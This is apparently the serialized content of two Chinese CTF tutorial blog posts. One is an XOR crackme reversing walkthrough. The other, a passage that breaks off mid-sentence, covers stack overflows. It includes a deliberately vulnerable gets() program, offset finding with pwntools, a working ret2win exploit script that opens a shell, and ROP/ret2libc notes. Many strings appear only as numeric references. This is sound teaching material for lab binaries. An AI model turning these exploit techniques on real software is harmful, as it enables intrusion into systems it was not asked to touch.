ELF）：",[23,6998,7001],{"className":6999,"code":7000,"language":175,"meta":28},[173],"crackme: ELF 64-bit LSB pie executable, x86-64, dynamically linked, ... not stripped\n",[30,7002,7000],{"__ignoreMap":28},[16,7004,7005,7007],{},[30,7006,183],{},"：函数名可见。",[147,7009,7011],{"id":7010},"_32-strings","3.2 strings",[16,7013,7014,7015,7017,7018,7020,7021,561],{},"注意：",[30,7016,209],{}," 默认只显示长度 ≥ 4 的字符串，密钥 ",[30,7019,274],{}," 只有 3 个字符，必须加 ",[30,7022,278],{},[23,7024,7025],{"className":25,"code":1165,"language":27,"meta":28,"style":28},[30,7026,7027],{"__ignoreMap":28},[33,7028,7029,7031,7033,7035],{"class":35,"line":36},[33,7030,209],{"class":39},[33,7032,242],{"class":241},[33,7034,245],{"class":241},[33,7036,1178],{"class":43},[16,7038,169],{},[23,7040,7043],{"className":7041,"code":7042,"language":175,"meta":28},[173],"Usage: ./crackme \u003Cflag>\nCorrect!\nWrong!\nk3y\n",[30,7044,7042],{"__ignoreMap":28},[16,7046,7047,7049,7050,7053],{},[30,7048,274],{}," 极可能是密钥。",[30,7051,7052],{},"enc"," 数组是二进制数据，strings 显示不出来。",[11,7055,7057],{"id":7056},"四核心步骤-2定位校验函数","四、核心步骤 2：定位校验函数",[16,7059,7060,7062],{},[136,7061,138],{},"：找到\"比较\"发生的代码，确认密钥如何参与运算。",[16,7064,7065,7067,7068,7070,7071,7074,7075,7077],{},[136,7066,144],{},"：main 里 ",[30,7069,525],{}," 后紧跟 ",[30,7072,7073],{},"test eax, eax; je","，说明返回值决定对错。于是把目光集中到 check；Ghidra 伪代码把汇编还原成 ",[30,7076,1201],{},"，逆向思路立刻清晰。",[147,7079,353],{"id":352},[23,7081,7083],{"className":25,"code":7082,"language":27,"meta":28,"style":28},"objdump -d -M intel crackme | grep -A 40 '\u003Cmain>'\n",[30,7084,7085],{"__ignoreMap":28},[33,7086,7087,7089,7091,7093,7095,7097,7099,7101,7103,7105,7107,7109],{"class":35,"line":36},[33,7088,365],{"class":39},[33,7090,368],{"class":241},[33,7092,371],{"class":241},[33,7094,374],{"class":43},[33,7096,6922],{"class":43},[33,7098,400],{"class":56},[33,7100,403],{"class":39},[33,7102,406],{"class":241},[33,7104,409],{"class":241},[33,7106,413],{"class":412},[33,7108,416],{"class":43},[33,7110,419],{"class":412},[16,7112,422],{},[23,7114,7116],{"className":425,"code":7115,"language":427,"meta":28,"style":28},"0000000000001189 \u003Cmain>:\n    1191:  cmp    edi, 0x2\n    1194:  jne    0x11a0\n    119e:  call   0x1149 \u003Ccheck>\n    11a3:  test   eax, eax\n    11a5:  je     0x11b5\n",[30,7117,7118,7122,7126,7130,7134,7138],{"__ignoreMap":28},[33,7119,7120],{"class":35,"line":36},[33,7121,434],{},[33,7123,7124],{"class":35,"line":47},[33,7125,449],{},[33,7127,7128],{"class":35,"line":70},[33,7129,455],{},[33,7131,7132],{"class":35,"line":80},[33,7133,461],{},[33,7135,7136],{"class":35,"line":452},[33,7137,467],{},[33,7139,7140],{"class":35,"line":458},[33,7141,473],{},[16,7143,7144,7146,7147,301],{},[30,7145,525],{}," 说明判断逻辑在 ",[30,7148,554],{},[147,7150,7152],{"id":7151},"_42-objdump-看-check","4.2 objdump 看 check",[23,7154,7156],{"className":25,"code":7155,"language":27,"meta":28,"style":28},"objdump -d -M intel crackme | grep -A 60 '\u003Ccheck>'\n",[30,7157,7158],{"__ignoreMap":28},[33,7159,7160,7162,7164,7166,7168,7170,7172,7174,7176,7179,7181,7183],{"class":35,"line":36},[33,7161,365],{"class":39},[33,7163,368],{"class":241},[33,7165,371],{"class":241},[33,7167,374],{"class":43},[33,7169,6922],{"class":43},[33,7171,400],{"class":56},[33,7173,403],{"class":39},[33,7175,406],{"class":241},[33,7177,7178],{"class":241}," 60",[33,7180,413],{"class":412},[33,7182,611],{"class":43},[33,7184,419],{"class":412},[16,7186,7187],{},"预期会看到循环比较：",[23,7189,7191],{"className":425,"code":7190,"language":427,"meta":28,"style":28},"movzx  eax, BYTE PTR [rax]        ; input[i]\nxor    eax, 0x...                 ; 与 key 异或\ncmp    al, BYTE PTR [rbp-...]     ; 与 enc[i] 比较\nje     0x...\n",[30,7192,7193,7198,7203,7208],{"__ignoreMap":28},[33,7194,7195],{"class":35,"line":36},[33,7196,7197],{},"movzx  eax, BYTE PTR [rax]        ; input[i]\n",[33,7199,7200],{"class":35,"line":47},[33,7201,7202],{},"xor    eax, 0x...                 ; 与 key 异或\n",[33,7204,7205],{"class":35,"line":70},[33,7206,7207],{},"cmp    al, BYTE PTR [rbp-...]     ; 与 enc[i] 比较\n",[33,7209,7210],{"class":35,"line":80},[33,7211,7212],{},"je     0x...\n",[147,7214,7216],{"id":7215},"_43-ghidra-反编译","4.3 Ghidra 反编译",[16,7218,7219],{},"安装并打开：",[23,7221,7223],{"className":25,"code":7222,"language":27,"meta":28,"style":28},"apt install openjdk-21-jdk unzip\nwget https://github.com/NationalSecurityAgency/ghidra/releases/latest/download/ghidra_*.zip\nunzip ghidra_*.zip && cd ghidra_*_PUBLIC && ./ghidraRun\n",[30,7224,7225,7235,7245],{"__ignoreMap":28},[33,7226,7227,7229,7231,7233],{"class":35,"line":36},[33,7228,103],{"class":39},[33,7230,106],{"class":43},[33,7232,735],{"class":43},[33,7234,738],{"class":43},[33,7236,7237,7239,7241,7243],{"class":35,"line":47},[33,7238,743],{"class":39},[33,7240,746],{"class":43},[33,7242,750],{"class":749},[33,7244,753],{"class":43},[33,7246,7247,7249,7251,7253,7256,7258,7260,7262,7264,7266,7268],{"class":35,"line":70},[33,7248,758],{"class":39},[33,7250,761],{"class":43},[33,7252,750],{"class":749},[33,7254,7255],{"class":43},".zip",[33,7257,781],{"class":63},[33,7259,771],{"class":770},[33,7261,761],{"class":43},[33,7263,750],{"class":749},[33,7265,778],{"class":43},[33,7267,781],{"class":63},[33,7269,784],{"class":39},[16,7271,7272,7273,301],{},"操作：新建项目 → 导入 crackme → 自动分析 → 双击 ",[30,7274,554],{},[16,7276,813],{},[23,7278,7279],{"className":816,"code":1211,"language":818,"meta":28,"style":28},[30,7280,7281],{"__ignoreMap":28},[33,7282,7283],{"class":35,"line":36},[33,7284,1211],{},[16,7286,7287],{},"得到逆运算关系：",[23,7289,7292],{"className":7290,"code":7291,"language":175,"meta":28},[173],"enc[i] = input[i] ^ key[i % 3]\ninput[i] = enc[i] ^ key[i % 3]\n",[30,7293,7291],{"__ignoreMap":28},[11,7295,847],{"id":846},[23,7297,7299],{"className":25,"code":7298,"language":27,"meta":28,"style":28},"gdb ./crackme\n",[30,7300,7301],{"__ignoreMap":28},[33,7302,7303,7305],{"class":35,"line":36},[33,7304,874],{"class":39},[33,7306,7307],{"class":43}," ./crackme\n",[23,7309,7311],{"className":886,"code":7310,"language":874,"meta":28,"style":28},"(gdb) break check\n# 目的：在 check 入口暂停，观察输入参数和密文数据。\n",[30,7312,7313,7317],{"__ignoreMap":28},[33,7314,7315],{"class":35,"line":36},[33,7316,887],{},[33,7318,7319],{"class":35,"line":47},[33,7320,7321],{},"# 目的：在 check 入口暂停，观察输入参数和密文数据。\n",[16,7323,169],{},[23,7325,7327],{"className":7326,"code":899,"language":175,"meta":28},[173],[30,7328,899],{"__ignoreMap":28},[23,7330,7332],{"className":886,"code":7331,"language":874,"meta":28,"style":28},"(gdb) run AAAAAAAAAAAAAAAAAAAAAAAA\n",[30,7333,7334],{"__ignoreMap":28},[33,7335,7336],{"class":35,"line":36},[33,7337,7331],{},[16,7339,169],{},[23,7341,7343],{"className":7342,"code":920,"language":175,"meta":28},[173],[30,7344,920],{"__ignoreMap":28},[16,7346,7347],{},"查看 enc 数组（地址在反汇编中确定）：",[23,7349,7351],{"className":886,"code":7350,"language":874,"meta":28,"style":28},"(gdb) x/24bx 0x5555555551e0\n# x：查看内存；/24bx：24 个字节、b 按字节、x 十六进制显示。\n",[30,7352,7353,7358],{"__ignoreMap":28},[33,7354,7355],{"class":35,"line":36},[33,7356,7357],{},"(gdb) x/24bx 0x5555555551e0\n",[33,7359,7360],{"class":35,"line":47},[33,7361,7362],{},"# x：查看内存；/24bx：24 个字节、b 按字节、x 十六进制显示。\n",[16,7364,169],{},[23,7366,7369],{"className":7367,"code":7368,"language":175,"meta":28},[173],"0x...: 0x08 0x47 0x1f 0x10 0x41 0x1c 0x1d 0x56 ...\n",[30,7370,7368],{"__ignoreMap":28},[16,7372,7373],{},"与源码中的 enc 数组一致，确认比较逻辑。",[11,7375,7377],{"id":7376},"六核心步骤-4写脚本还原","六、核心步骤 4：写脚本还原",[16,7379,7380,7382],{},[136,7381,138],{},"：把\"加密\"反过来算：密文与 key 再异或一次即明文。",[16,7384,7385,7387,7388,7391,7392,7395,7396,7399],{},[136,7386,144],{},"：因为 ",[30,7389,7390],{},"enc[i] = input[i] ^ key[i%3]","，两边同时异或 ",[30,7393,7394],{},"key[i%3]"," 得 ",[30,7397,7398],{},"input[i] = enc[i] ^ key[i%3]","。异或的自反性是本题全部关键。",[23,7401,7403],{"className":1238,"code":7402,"language":1240,"meta":28,"style":28},"enc = [0x08,0x47,0x1f,0x10,0x41,0x1c,0x1d,0x56,\n       0x0b,0x18,0x56,0x26,0x0e,0x5d,0x1e,0x02,\n       0x5d,0x1c,0x0e,0x41,0x10,0x05,0x54,0x04]\nkey = b\"k3y\"   # 从 strings -n 3 找到的密钥\n\nflag = bytes([c ^ key[i % len(key)] for i, c in enumerate(enc)])\n# enumerate(enc)：逐个取出 (下标 i, 密文字节 c)。\n# key[i % len(key)]：i 对 3 取余，让密钥循环（与 C 的 i%3 一致）。\n# c ^ key[...]：密文异或密钥 = 明文。\n# bytes([...])：把整数列表转成字节串。\nprint(flag.decode())\n# decode()：bytes 按 UTF-8 解码成字符串显示。\n",[30,7404,7405,7409,7413,7417,7422,7426,7431,7436,7441,7446,7451,7455],{"__ignoreMap":28},[33,7406,7407],{"class":35,"line":36},[33,7408,1247],{},[33,7410,7411],{"class":35,"line":47},[33,7412,1252],{},[33,7414,7415],{"class":35,"line":70},[33,7416,1257],{},[33,7418,7419],{"class":35,"line":80},[33,7420,7421],{},"key = b\"k3y\"   # 从 strings -n 3 找到的密钥\n",[33,7423,7424],{"class":35,"line":452},[33,7425,1460],{"emptyLinePlaceholder":1373},[33,7427,7428],{"class":35,"line":458},[33,7429,7430],{},"flag = bytes([c ^ key[i % len(key)] for i, c in enumerate(enc)])\n",[33,7432,7433],{"class":35,"line":464},[33,7434,7435],{},"# enumerate(enc)：逐个取出 (下标 i, 密文字节 c)。\n",[33,7437,7438],{"class":35,"line":470},[33,7439,7440],{},"# key[i % len(key)]：i 对 3 取余，让密钥循环（与 C 的 i%3 一致）。\n",[33,7442,7443],{"class":35,"line":476},[33,7444,7445],{},"# c ^ key[...]：密文异或密钥 = 明文。\n",[33,7447,7448],{"class":35,"line":482},[33,7449,7450],{},"# bytes([...])：把整数列表转成字节串。\n",[33,7452,7453],{"class":35,"line":1295},[33,7454,1298],{},[33,7456,7457],{"class":35,"line":1301},[33,7458,7459],{},"# decode()：bytes 按 UTF-8 解码成字符串显示。\n",[16,7461,5460],{},[23,7463,7465],{"className":25,"code":7464,"language":27,"meta":28,"style":28},"python3 solve.py\n",[30,7466,7467],{"__ignoreMap":28},[33,7468,7469,7471],{"class":35,"line":36},[33,7470,2131],{"class":39},[33,7472,7473],{"class":43}," solve.py\n",[16,7475,2432],{},[23,7477,7479],{"className":7478,"code":1310,"language":175,"meta":28},[173],[30,7480,1310],{"__ignoreMap":28},[16,7482,7483],{},"验证：",[23,7485,7486],{"className":25,"code":1319,"language":27,"meta":28,"style":28},[30,7487,7488],{"__ignoreMap":28},[33,7489,7490,7492],{"class":35,"line":36},[33,7491,1326],{"class":39},[33,7493,1329],{"class":43},[16,7495,2432,7496,301],{},[30,7497,267],{},[11,7499,7501],{"id":7500},"七必学工具","七、必学工具",[490,7503,7504,7514],{},[493,7505,7506],{},[496,7507,7508,7510,7512],{},[499,7509,1047],{},[499,7511,1050],{},[499,7513,4064],{},[506,7515,7516,7528,7540,7555,7572],{},[496,7517,7518,7520,7523],{},[511,7519,163],{},[511,7521,7522],{},"看类型/是否 stripped",[511,7524,7525],{},[30,7526,7527],{},"file crackme",[496,7529,7530,7532,7535],{},[511,7531,209],{},[511,7533,7534],{},"提取字符串、指定最小长度",[511,7536,7537],{},[30,7538,7539],{},"strings -n 3 crackme",[496,7541,7542,7544,7547],{},[511,7543,365],{},[511,7545,7546],{},"反汇编、看数据段",[511,7548,7549,264,7552],{},[30,7550,7551],{},"objdump -d -M intel crackme",[30,7553,7554],{},"objdump -s -j .rodata crackme",[496,7556,7557,7559,7562],{},[511,7558,1105],{},[511,7560,7561],{},"断点、运行、查看内存",[511,7563,7564,264,7566,264,7569],{},[30,7565,1113],{},[30,7567,7568],{},"run xxx",[30,7570,7571],{},"x/24bx addr",[496,7573,7574,7577,7580],{},[511,7575,7576],{},"Ghidra",[511,7578,7579],{},"反编译伪代码",[511,7581,7582],{},[30,7583,7584],{},"ghidraRun",[11,7586,7588],{"id":7587},"八小-ctf-实战流程复述","八、小 CTF 实战：流程复述",[789,7590,7591,7598,7609,7615],{},[792,7592,7593,7595,7596,301],{},[30,7594,7539],{}," → 找到密钥 ",[30,7597,274],{},[792,7599,7600,7602,7603,7605,7606,301],{},[30,7601,365],{},"/Ghidra → 确认 ",[30,7604,554],{}," 里是 ",[30,7607,7608],{},"input[i] ^ key[i%3] == enc[i]",[792,7610,7611,7612,301],{},"Python 一行异或还原 → ",[30,7613,7614],{},"ctf{reverse_engineering}",[792,7616,7617,7618,301],{},"运行验证 → ",[30,7619,267],{},[11,7621,5608],{"id":5607},[16,7623,7624,7625,7628],{},"XOR CrackMe 的通用解法：",[136,7626,7627],{},"找密钥、找密文、再异或一次","。逆向题的套路基本都是\"侦查 → 定位校验 → 逆运算\"三步；后续遇到的壳、混淆只是在中间增加干扰。",[1350,7630,7631],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}html pre.shiki code .sqerP, html code.shiki .sqerP{--shiki-default:#BD93F9;--shiki-default-font-style:italic}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}",{"title":28,"searchDepth":47,"depth":47,"links":7633},[7634,7635,7636,7637,7638,7639,7640,7641,7642],{"id":6707,"depth":70,"text":6708},{"id":6714,"depth":70,"text":6715},{"id":131,"depth":70,"text":132},{"id":7056,"depth":70,"text":7057},{"id":846,"depth":70,"text":847},{"id":7376,"depth":70,"text":7377},{"id":7500,"depth":70,"text":7501},{"id":7587,"depth":70,"text":7588},{"id":5607,"depth":70,"text":5608},"完整的 CrackMe 逆向：编译源码、file/strings 侦查、objdump/Ghidra 定位校验、GDB 动态调试、Python 逆运算还原 flag。",{"date":1366,"image":7645,"alt":7646,"tags":7647,"published":1373},"/blogs-img/blog7.png","XOR CrackMe 完整实操",[1370,1371,1139,1372],"/blogs/ctf-reverse-crackme-deep-dive",{"title":6702,"description":7643},"blogs/16. ctf-reverse-crackme-deep-dive","xZZ1X760wPJNGRPAuGfcnpCTK_DSMHcI_gsMU8yxErg",{"id":7653,"title":7654,"body":7655,"description":8740,"extension":1364,"meta":8741,"navigation":1373,"ogImage":8742,"path":8746,"seo":8747,"stem":8748,"__hash__":8749},"content/blogs/17. ctf-pwn-stack-overflow-rop-deep-dive.md","栈溢出与 ROP 深入实战：偏移、ret2win 与 ret2libc",{"type":8,"value":7656,"toc":8727},[7657,7661,7676,7679,7681,7729,7731,7735,7815,7818,7837,7841,7846,7851,7863,7865,7870,7873,7928,7930,7935,7941,7944,7947,7957,8011,8013,8019,8033,8037,8042,8103,8105,8115,8117,8123,8141,8145,8151,8154,8181,8183,8189,8202,8208,8212,8219,8224,8233,8237,8243,8247,8523,8526,8532,8536,8583,8587,8648,8652,8663,8704,8706,8711,8715,8724],[11,7658,7660],{"id":7659},"一现实背景缓冲区溢出","一、现实背景：缓冲区溢出",[16,7662,7663,264,7665,264,7668,7671,7672,7675],{},[30,7664,1392],{},[30,7666,7667],{},"strcpy",[30,7669,7670],{},"sprintf"," 不校验写入长度。输入超过缓冲区容量时，数据覆盖相邻内存，包括函数的返回地址。程序 ",[30,7673,7674],{},"ret"," 时跳到被覆盖的地址执行——这就是栈溢出的核心。",[16,7677,7678],{},"本文环境：Linux（Kali/Ubuntu），x86-64 架构，这是 CTF Pwn 的标准环境。",[11,7680,90],{"id":89},[23,7682,7684],{"className":25,"code":7683,"language":27,"meta":28,"style":28},"apt install gcc gdb\npip3 install pwntools ROPgadget\ngit clone https://github.com/pwndbg/pwndbg && cd pwndbg && ./setup.sh\n",[30,7685,7686,7696,7708],{"__ignoreMap":28},[33,7687,7688,7690,7692,7694],{"class":35,"line":36},[33,7689,103],{"class":39},[33,7691,106],{"class":43},[33,7693,1417],{"class":43},[33,7695,1420],{"class":43},[33,7697,7698,7700,7702,7705],{"class":35,"line":47},[33,7699,1425],{"class":39},[33,7701,106],{"class":43},[33,7703,7704],{"class":43}," pwntools",[33,7706,7707],{"class":43}," ROPgadget\n",[33,7709,7710,7712,7714,7717,7719,7721,7724,7726],{"class":35,"line":70},[33,7711,4309],{"class":39},[33,7713,4312],{"class":43},[33,7715,7716],{"class":43}," https://github.com/pwndbg/pwndbg",[33,7718,781],{"class":63},[33,7720,771],{"class":770},[33,7722,7723],{"class":43}," pwndbg",[33,7725,781],{"class":63},[33,7727,7728],{"class":39},"./setup.sh\n",[11,7730,1434],{"id":1433},[16,7732,7733,561],{},[30,7734,1440],{},[23,7736,7737],{"className":816,"code":1443,"language":818,"meta":28,"style":28},[30,7738,7739,7743,7747,7751,7755,7759,7763,7767,7771,7775,7779,7783,7787,7791,7795,7799,7803,7807,7811],{"__ignoreMap":28},[33,7740,7741],{"class":35,"line":36},[33,7742,1450],{},[33,7744,7745],{"class":35,"line":47},[33,7746,1455],{},[33,7748,7749],{"class":35,"line":70},[33,7750,1460],{"emptyLinePlaceholder":1373},[33,7752,7753],{"class":35,"line":80},[33,7754,1465],{},[33,7756,7757],{"class":35,"line":452},[33,7758,1470],{},[33,7760,7761],{"class":35,"line":458},[33,7762,1475],{},[33,7764,7765],{"class":35,"line":464},[33,7766,1460],{"emptyLinePlaceholder":1373},[33,7768,7769],{"class":35,"line":470},[33,7770,1484],{},[33,7772,7773],{"class":35,"line":476},[33,7774,1489],{},[33,7776,7777],{"class":35,"line":482},[33,7778,1494],{},[33,7780,7781],{"class":35,"line":1295},[33,7782,1475],{},[33,7784,7785],{"class":35,"line":1301},[33,7786,1460],{"emptyLinePlaceholder":1373},[33,7788,7789],{"class":35,"line":1505},[33,7790,1508],{},[33,7792,7793],{"class":35,"line":1511},[33,7794,1514],{},[33,7796,7797],{"class":35,"line":1517},[33,7798,1520],{},[33,7800,7801],{"class":35,"line":1523},[33,7802,1526],{},[33,7804,7805],{"class":35,"line":1529},[33,7806,1532],{},[33,7808,7809],{"class":35,"line":1535},[33,7810,1538],{},[33,7812,7813],{"class":35,"line":1541},[33,7814,1475],{},[16,7816,7817],{},"编译：",[23,7819,7821],{"className":25,"code":7820,"language":27,"meta":28,"style":28},"gcc -o vuln vuln.c -fno-stack-protector -no-pie\n",[30,7822,7823],{"__ignoreMap":28},[33,7824,7825,7827,7829,7831,7833,7835],{"class":35,"line":36},[33,7826,1556],{"class":39},[33,7828,1559],{"class":241},[33,7830,1562],{"class":43},[33,7832,1565],{"class":43},[33,7834,1568],{"class":241},[33,7836,1571],{"class":241},[11,7838,7840],{"id":7839},"四核心步骤-1checksec","四、核心步骤 1：checksec",[16,7842,7843,7845],{},[136,7844,138],{},"：开打前判断这条路能否走通，避免构造无效 payload。",[16,7847,7848,7850],{},[136,7849,144],{},"：No canary → 可以直接覆盖返回地址；No PIE → win 地址写死可用；NX 开启 → 本阶段不打 shellcode，后面用 ROP。",[23,7852,7853],{"className":25,"code":1601,"language":27,"meta":28,"style":28},[30,7854,7855],{"__ignoreMap":28},[33,7856,7857,7859,7861],{"class":35,"line":36},[33,7858,1608],{"class":39},[33,7860,1611],{"class":43},[33,7862,1614],{"class":43},[16,7864,169],{},[23,7866,7868],{"className":7867,"code":1620,"language":175,"meta":28},[173],[30,7869,1620],{"__ignoreMap":28},[16,7871,7872],{},"逐行含义：",[490,7874,7875,7883],{},[493,7876,7877],{},[496,7878,7879,7881],{},[499,7880,5495],{},[499,7882,504],{},[506,7884,7885,7895,7905,7918],{},[496,7886,7887,7892],{},[511,7888,7889],{},[30,7890,7891],{},"No canary found",[511,7893,7894],{},"无栈金丝雀，可覆盖返回地址",[496,7896,7897,7902],{},[511,7898,7899],{},[30,7900,7901],{},"NX enabled",[511,7903,7904],{},"栈不可执行，不能直接放 shellcode",[496,7906,7907,7912],{},[511,7908,7909],{},[30,7910,7911],{},"No PIE",[511,7913,7914,7915,7917],{},"程序地址固定，",[30,7916,1682],{}," 地址可直接写死",[496,7919,7920,7925],{},[511,7921,7922],{},[30,7923,7924],{},"Partial RELRO",[511,7926,7927],{},"GOT 可写（本阶段用不到）",[11,7929,1687],{"id":1686},[16,7931,7932,7934],{},[30,7933,1692],{}," 栈帧自低到高：",[23,7936,7939],{"className":7937,"code":7938,"language":175,"meta":28},[173],"┌──────────────────────┐\n│  buf[32]             │  ← gets 写入起点\n├──────────────────────┤\n│  对齐填充             │\n├──────────────────────┤\n│  saved rbp（8 字节）   │\n├──────────────────────┤\n│  返回地址（8 字节）     │  ← 目标\n└──────────────────────┘\n",[30,7940,7938],{"__ignoreMap":28},[16,7942,7943],{},"偏移 = 32 + 8 = 40。",[16,7945,7946],{},"用 pwntools 验证：",[16,7948,7949,561,7951,7953,7954,7956],{},[136,7950,144],{},[30,7952,1705],{}," 生成无重复模式串，程序崩溃时 rip 的值取自模式串；",[30,7955,2063],{}," 反查位置，即\"从输入开头到返回地址的距离\"。",[23,7958,7960],{"className":1238,"code":7959,"language":1240,"meta":28,"style":28},"from pwn import *\n\np = process('./vuln')\np.sendline(cyclic(200))\n# cyclic(200)：生成 200 字节无重复模式串，发出去覆盖栈。\np.wait()\n# 等进程崩溃退出，生成 core 文件供读取。\noffset = cyclic_find(p.corefile.fault_addr)\n# p.corefile.fault_addr：崩溃时 rip 的值。\n# cyclic_find：返回该值在模式串中的下标 = 到返回地址的偏移。\nprint(\"offset =\", offset)\n",[30,7961,7962,7966,7970,7974,7978,7983,7987,7992,7996,8001,8006],{"__ignoreMap":28},[33,7963,7964],{"class":35,"line":36},[33,7965,1716],{},[33,7967,7968],{"class":35,"line":47},[33,7969,1460],{"emptyLinePlaceholder":1373},[33,7971,7972],{"class":35,"line":70},[33,7973,1725],{},[33,7975,7976],{"class":35,"line":80},[33,7977,1730],{},[33,7979,7980],{"class":35,"line":452},[33,7981,7982],{},"# cyclic(200)：生成 200 字节无重复模式串，发出去覆盖栈。\n",[33,7984,7985],{"class":35,"line":458},[33,7986,1745],{},[33,7988,7989],{"class":35,"line":464},[33,7990,7991],{},"# 等进程崩溃退出，生成 core 文件供读取。\n",[33,7993,7994],{"class":35,"line":470},[33,7995,1755],{},[33,7997,7998],{"class":35,"line":476},[33,7999,8000],{},"# p.corefile.fault_addr：崩溃时 rip 的值。\n",[33,8002,8003],{"class":35,"line":482},[33,8004,8005],{},"# cyclic_find：返回该值在模式串中的下标 = 到返回地址的偏移。\n",[33,8007,8008],{"class":35,"line":1295},[33,8009,8010],{},"print(\"offset =\", offset)\n",[16,8012,169],{},[23,8014,8017],{"className":8015,"code":8016,"language":175,"meta":28},[173],"offset = 40\n",[30,8018,8016],{"__ignoreMap":28},[16,8020,8021,8022,8025,8026,8029,8030,8032],{},"原理：",[30,8023,8024],{},"cyclic(200)"," 生成无重复的模式串；程序崩溃时 ",[30,8027,8028],{},"rip"," 的值必然是模式串中的 4/8 字节，",[30,8031,2063],{}," 返回它在模式串中的位置，即到返回地址的距离。",[11,8034,8036],{"id":8035},"六核心步骤-3ret2win","六、核心步骤 3：ret2win",[16,8038,8039,8041],{},[136,8040,138],{},"：把返回地址改成 win，验证控制流劫持成功。",[23,8043,8045],{"className":1238,"code":8044,"language":1240,"meta":28,"style":28},"from pwn import *\n\nelf = ELF('./vuln')\np = process('./vuln')\n\np.recvuntil(b'name?')\n# recvuntil(b'name?')：读到提示字符串为止，确保 gets 就绪。\npayload = b'A' * 40 + p64(elf.symbols['win'])\n# b'A'*40：填充缓冲区与 saved rbp。\n# p64(elf.symbols['win'])：win 地址转 8 字节小端，覆盖返回地址。\np.sendline(payload)\np.interactive()\n# interactive()：把终端接到进程，shell 可交互。\n",[30,8046,8047,8051,8055,8059,8063,8067,8071,8076,8080,8085,8090,8094,8098],{"__ignoreMap":28},[33,8048,8049],{"class":35,"line":36},[33,8050,1716],{},[33,8052,8053],{"class":35,"line":47},[33,8054,1460],{"emptyLinePlaceholder":1373},[33,8056,8057],{"class":35,"line":70},[33,8058,1806],{},[33,8060,8061],{"class":35,"line":80},[33,8062,1725],{},[33,8064,8065],{"class":35,"line":452},[33,8066,1460],{"emptyLinePlaceholder":1373},[33,8068,8069],{"class":35,"line":458},[33,8070,1968],{},[33,8072,8073],{"class":35,"line":464},[33,8074,8075],{},"# recvuntil(b'name?')：读到提示字符串为止，确保 gets 就绪。\n",[33,8077,8078],{"class":35,"line":470},[33,8079,1983],{},[33,8081,8082],{"class":35,"line":476},[33,8083,8084],{},"# b'A'*40：填充缓冲区与 saved rbp。\n",[33,8086,8087],{"class":35,"line":482},[33,8088,8089],{},"# p64(elf.symbols['win'])：win 地址转 8 字节小端，覆盖返回地址。\n",[33,8091,8092],{"class":35,"line":1295},[33,8093,1909],{},[33,8095,8096],{"class":35,"line":1301},[33,8097,1997],{},[33,8099,8100],{"class":35,"line":1505},[33,8101,8102],{},"# interactive()：把终端接到进程，shell 可交互。\n",[16,8104,5460],{},[23,8106,8107],{"className":25,"code":2124,"language":27,"meta":28,"style":28},[30,8108,8109],{"__ignoreMap":28},[33,8110,8111,8113],{"class":35,"line":36},[33,8112,2131],{"class":39},[33,8114,2134],{"class":43},[16,8116,2010],{},[23,8118,8121],{"className":8119,"code":8120,"language":175,"meta":28},[173],"[*] Switching to interactive mode\n$ id\nuid=1000(ctf) gid=1000(ctf) groups=1000(ctf)\n",[30,8122,8120],{"__ignoreMap":28},[16,8124,8125,8126,8128,8129,2303,8131,981,8133,8135,8136,2303,8138,8140],{},"执行过程：",[30,8127,1392],{}," 把 48 字节写入 buf → 前 40 字节填满 buf+saved rbp → 后 8 字节覆盖返回地址为 ",[30,8130,1682],{},[30,8132,1692],{},[30,8134,7674],{}," 跳到 ",[30,8137,1682],{},[30,8139,2026],{}," 弹 shell。",[11,8142,8144],{"id":8143},"七进阶nx-与-rop","七、进阶：NX 与 ROP",[16,8146,8147,8148,8150],{},"NX 开启后栈不可执行，但代码段可执行。ROP（Return-Oriented Programming）把程序里已有的、以 ",[30,8149,7674],{}," 结尾的指令片段（gadget）串起来执行。",[16,8152,8153],{},"找 gadget：",[23,8155,8157],{"className":25,"code":8156,"language":27,"meta":28,"style":28},"ROPgadget --binary ./vuln | grep \"pop rdi\"\n",[30,8158,8159],{"__ignoreMap":28},[33,8160,8161,8164,8167,8170,8172,8174,8176,8179],{"class":35,"line":36},[33,8162,8163],{"class":39},"ROPgadget",[33,8165,8166],{"class":241}," --binary",[33,8168,8169],{"class":43}," ./vuln",[33,8171,400],{"class":56},[33,8173,403],{"class":39},[33,8175,4485],{"class":412},[33,8177,8178],{"class":43},"pop rdi",[33,8180,4491],{"class":412},[16,8182,169],{},[23,8184,8187],{"className":8185,"code":8186,"language":175,"meta":28},[173],"0x0000000000401233 : pop rdi ; ret\n",[30,8188,8186],{"__ignoreMap":28},[16,8190,8191,8194,8195,8198,8199,8201],{},[30,8192,8193],{},"pop rdi; ret"," 的作用：把栈上的下一个 8 字节弹进 ",[30,8196,8197],{},"rdi","（x86-64 的第一个参数寄存器），然后 ",[30,8200,7674],{}," 跳到下个地址。栈上布局：",[23,8203,8206],{"className":8204,"code":8205,"language":175,"meta":28},[173],"[pop rdi; ret] [参数] [要调用的函数] [下一 gadget] ...\n",[30,8207,8205],{"__ignoreMap":28},[11,8209,8211],{"id":8210},"八进阶ret2libc","八、进阶：ret2libc",[16,8213,8214,8216,8217,301],{},[136,8215,138],{},"：程序内没有目标函数时，改调 libc 的 ",[30,8218,2026],{},[16,8220,8221,8223],{},[136,8222,144],{},"：ASLR 让 libc 基址随机，但\"符号在 libc 内的偏移\"固定。先泄露一个已知符号（puts）的真实地址，反推基址，再计算 system 与 \"/bin/sh\" 的地址。验证方式：第一段打印出的 puts 地址与 libc 文件里查到的偏移做差，得到的基址应当是 0x...000 结尾。",[16,8225,8226,8227,8229,8230,8232],{},"程序里没有 ",[30,8228,1682],{}," 时，改调 libc 里的 ",[30,8231,2026],{},"。libc 基址被 ASLR 